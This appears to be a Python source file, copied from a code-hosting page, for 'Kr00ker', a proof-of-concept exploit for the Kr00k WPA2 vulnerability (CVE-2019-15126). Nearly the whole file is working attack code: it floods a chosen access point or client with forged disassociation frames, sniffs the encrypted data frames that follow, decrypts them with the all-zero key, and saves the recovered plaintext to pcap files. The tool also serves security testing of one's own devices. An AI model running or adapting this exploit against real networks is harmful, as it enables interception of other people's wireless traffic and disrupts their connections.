1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 |
# Kr00ker # # Experimetal KR00K PoC in python3 using scapy # # Description: # This script is a simple experiment to exploit the KR00K vulnerability (CVE-2019-15126), # that allows to decrypt some WPA2 CCMP data in vulnerable devices. # More specifically this script attempts to retrieve Plaintext Data of WPA2 CCMP packets knowning: # * the TK (128 bites all zero) # * the Nonce (sent plaintext in packet header) # * the Encrypted Data # # Where: # * WPA2 AES-CCMP decryption --> AES(Nonce,TK) XOR Encrypted Data = Decrypted Data # * Decrypted stream starts with "\xaa\xaa\x03\x00\x00\x00" # * Nonce (104 bits) = Priority (1byte) + SRC MAC (6bytes) + PN (6bytes) # # This PoC works on WPA2 AES CCMP with Frequency 2.4GHz WLANs. # # References: # https://www.welivesecurity.com/wp-content/uploads/2020/02/ESET_Kr00k.pdf # # # Copyright (C) 2020 Maurizio Siddu # # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program.If not, see <http://www.gnu.org/licenses/> import argparse, threading import datetime, sys, re from scapy.all import * from scapy.layers.dot11 import RadioTap, Dot11, Dot11Deauth from Cryptodome.Cipher import AES # Proof of Sympathy ;-) LOGO = """\ __ _____ ______ _________ (/ )(_ \ /\/\(/ )(__)(_ \\ )() /(0 )(0 ))() _)) / (__\_)(__\_) \__/\__/(__\_)(____)(__\_) """ KR00K_PATTERN = b'\xaa\xaa\x03\x00\x00\x00' class Krooker: # Define Krooker class def __init__(self, interface, target_mac, other_mac, reason, num, delay): self.interface = interface self.target_mac = target_mac self.other_mac = other_mac self.reason = reason self.num = num self.delay = delay def wpa2_decrypt(self, enc_pkt): # Try to decrypt the data contained in the sniffed packet t_key = bytes.fromhex("00000000000000000000000000000000") # This check is redundant if not enc_pkt.haslayer(Dot11CCMP): return None dot11 = enc_pkt[Dot11] dot11ccmp = enc_pkt[Dot11CCMP] # Extract the Packet Number (IV) PN = "{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}".format(dot11ccmp.PN5,dot11ccmp.PN4,dot11ccmp.PN3,dot11ccmp.PN2,dot11ccmp.PN1,dot11ccmp.PN0) # Extract the victim MAC address source_addr = re.sub(':','',dot11.addr2) # Extract the QoS tid if enc_pkt.haslayer(Dot11QoS): tid = "{:01x}".format(enc_pkt[Dot11QoS].TID) else: tid = '0' priority = tid + '0' # Build the nonce ccmp_nonce = bytes.fromhex(priority) + bytes.fromhex(source_addr) + bytes.fromhex(PN) # Finally try to decrypt wpa2 data enc_cipher = AES.new(t_key, AES.MODE_CCM, ccmp_nonce, mac_len=8) decrypted_data = enc_cipher.decrypt(dot11ccmp.data[:-8]) return decrypted_data def disassociate(self): # Forge the dot11 disassociation packet dis_packet = RadioTap()/Dot11(type=0, subtype=12, addr1=self.target_mac, addr2=self.other_mac, addr3=self.other_mac)/Dot11Deauth(reason=self.reason) # Loop to send the disassociation packets to the victim device while True: # Repeat every delay value seconds time.sleep(self.delay) print("["+str(datetime.now().time())+"][+] Disassociation frames (reason "+str(self.reason)+") sent to target "+self.target_mac+" as sender endpoint "+self.other_mac) sendp(dis_packet, iface=self.interface, count=self.num, verbose=False) def check_packet(self, sniffed_pkt): # Filter for WPA2 AES CCMP packets containing data to decrypt if sniffed_pkt[Dot11].type == 2 and sniffed_pkt.haslayer(Dot11CCMP): #print("["+str(datetime.now().time())+"][DEBUG] packet tipe:"+str(sniffed_pkt[Dot11].type)+" sub:"+str(sniffed_pkt[Dot11].subtype)) # Decrypt the packets using the all zero temporary key dec_data = self.wpa2_decrypt(sniffed_pkt) # Check if the target is vulnerable if dec_data and dec_data[0:len(KR00K_PATTERN)] == KR00K_PATTERN: print("["+str(datetime.now().time())+"][+] Target "+self.target_mac+" is vulnerable to Kr00k, decrypted "+str(len(dec_data))+" bytes") hexdump(dec_data) # Save the encrypted and decrypted packets print("["+str(datetime.now().time())+"][+] Saving encrypted and decrypted 'pcap' files in current folder") dec_pkt = bytes.fromhex(re.sub(':','',self.target_mac) + re.sub(':','',self.other_mac)) + dec_data[6:] wrpcap("enc_pkts.pcap", sniffed_pkt, append=True) wrpcap("dec_pkts.pcap", dec_pkt, append=True) # Uncomment this if you need a one-shoot PoC decryption #sys.exit(0) #else: #print("["+str(datetime.now().time())+"][DEBUG] This data decryption with all zero TK went wrong") #pass def run_disassociation(self): # Run disassociate function in a background thread try: self.disassociate() except KeyboardInterrupt: print("\n["+str(datetime.now().time())+"][!] Exiting, caught keyboard interrupt") return def main(): # Passing arguments parser = argparse.ArgumentParser(prog="kr00ker.py", usage="%(prog)s -i <interface-name> -s <SSID> -c <MAC-client> -n <num-packets> -r <reason-id> -t <target-id> -w <wifi-channel> -d <delay>") parser.add_argument("-i", "--interface", required=True, help="The Interface name that you want to send packets out of, it must be set in monitor mode", type=str) parser.add_argument("-b", "--bssid", required=True, help="The MAC address of the Access Point to test", type=str) parser.add_argument("-c", "--client", required=True, help="The MAC address of the Client Device to test", type=str) parser.add_argument("-n", "--number", required=False, help="The Number of disassociation packets you want to send", type=int, default=1) parser.add_argument("-r", "--reason", required=False, help="The Reason identifier of disassociation packets you want to send, accepted values from 1 to 99", type=int, default=0) parser.add_argument("-t", "--target", required=False, help="The Target identifier", choices=["ap", "client"], type=str, default="ap") parser.add_argument("-w", "--wifi_channel", required=False, help="The WiFi channel identifier", type=int, default="1") parser.add_argument("-d", "--delay", required=False, help="The delay for disassociation frames", type=int, default="4") args = parser.parse_args() # Print the kr00ker logo print(LOGO) # Start the fun!! try: interface = args.interface ap_mac = args.bssid.lower() client_mac = args.client.lower() reason = args.reason target_channel = args.wifi_channel n_pkts = args.number delay = args.delay # Set the selected channel if target_channel in range(1, 14): os.system("iwconfig " + interface + " channel " + str(target_channel)) else: print("["+str(datetime.now().time())+"][-] Exiting, the specified channel "+target_channel+" is not valid") exit(1) # Check if valid device MAC Addresses have been specified if client_mac == "ff:ff:ff:ff:ff:ff" or ap_mac == "ff:ff:ff:ff:ff:ff": print("["+str(datetime.now().time())+"][-] Exiting, the specified FF:FF:FF:FF:FF:FF broadcast MAC address is not valid") exit(1) # Check if a valid reason have been specified if reason not in range(1,99): print("Exiting, specified a not valid disassociation Reason ID: "+str(reason)) exit(1) # Set the MAC address of the target if args.target == "client": target_mac = client_mac other_mac = ap_mac print("["+str(datetime.now().time())+"][+] The Client device "+target_mac+" will be the target") else: target_mac = ap_mac other_mac = client_mac print("["+str(datetime.now().time())+"][+] The AP "+target_mac+" will be the target") # Krooker instance initialization krooker = Krooker(interface, target_mac, other_mac, reason, n_pkts, delay) # Start a background thread to send disassociation packets k_th = threading.Thread(target=krooker.run_disassociation) k_th.daemon = True# This does not seem to be useful k_th.start() # Start packet interception s_filter = "ether src "+str(target_mac)+" and ether dst "+str(other_mac)+" and type Data" sniff(iface=krooker.interface, filter=s_filter, prn=krooker.check_packet) except KeyboardInterrupt: print("\n["+str(datetime.now().time())+"][!] Exiting, caught keyboard interrupt") k_th.join() sys.exit(0) except scapy.error.Scapy_Exception: print("["+str(datetime.now().time())+"][!] Exiting, your wireless interface seems not in monitor mode") sys.exit(1) if __name__ == "__main__": main() |